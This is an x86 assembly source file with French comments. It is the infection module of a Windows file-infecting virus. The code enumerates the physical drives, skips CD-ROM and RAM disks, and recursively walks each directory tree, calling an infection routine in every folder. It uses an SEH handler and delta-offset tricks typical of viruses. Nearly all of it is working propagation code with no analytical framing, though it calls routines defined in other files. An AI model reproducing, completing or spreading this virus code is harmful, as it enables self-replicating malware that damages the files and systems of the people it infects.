;MODULE : INFECTION
;Tout ce qui est propagation du virus (autre que le rep courant, ca c'est présent
;dans main.asm).


;==================== INFECTION DE TOUS LES DISQUES =========================

;INFECTE_DISQUES : infecte tous les disques physiques
;in: none
; out: none
infecte_disques proc near
                pusha
                call delta2

delta2:         pop ebp
                sub ebp,offset delta2

                call seh3
seh_handler3:
                mov esp,[esp+8]
                mov ebx,[esp+4]
                xor eax,eax
                mov fs:[eax],ebx
                push dword ptr 0
                call [ebp+ExitThread]
seh3:
                xor eax,eax
                push dword ptr fs:[eax]
                mov fs:[eax],esp

                lea ebx,[ebp+disque]
                inc byte ptr [ebx]
                push ebx
                call_ GetDriveType               ; GetDriveType
                test eax,eax
                jz infecte_disques                ; Drive Type cannot be determinated
                dec eax
                jz infecte_disques                 ; Root dir doesn't exist
                cmp al,3
                jae infecte_disques                    ; CDROM ou RamDisk
DiskOK:
                push ebx
                call_ SetCurrentDirectory       ; change de disque
                call infecte_disque
; MODIF: infecte un seul disque                jmp MegaLoop

infection_terminee:
                xor eax,eax
                push eax
                call_ ExitThread                   ; exit thread
                popa
                ret
infecte_disques endp



;INFECTE_DISQUE : infecte le disque physique courant. Fonction récursive.
;in: none
;out: none
infecte_disque proc near
                pusha
                push ebx
                push dword ptr SLEEPTIME_ON_INFECT_DIR
                call_ Sleep

                call infect_rep
ID_FF:
                lea esi,[ebp+WFD]
                lea eax,[ebp+dmask]             ; '*',0
                push esi
                push eax
                call_ FindFirstFile
                mov ebx,eax
                inc eax
                jmp ID_opt
ID_FN:          lea esi,[ebp+WFD]
                push ebx
                push esi
                push ebx
                call_ FindNextFile
                pop ebx
ID_opt:         test eax,eax
                jz ID_FNfin
                test [ebp+WFD_dwFileAttributes],dword ptr 10h; ATTRIB_DIR
                jz ID_FN
                cmp byte ptr [ebp+WFD_szFileName],'.'
                jz ID_FN
                lea esi,[ebp+WFD_szFileName]
                push ebx
                push esi
                call_ SetCurrentDirectory
                pop ebx
                call infecte_disque
                jmp ID_FN
ID_FNfin:
                push ebx
                call_ FindClose
                lea esi,[ebp+dotdot] ;remonte d'un répertoire
                push esi
                call_ SetCurrentDirectory
IDfin:          pop ebx
                popa
                ret
infecte_disque endp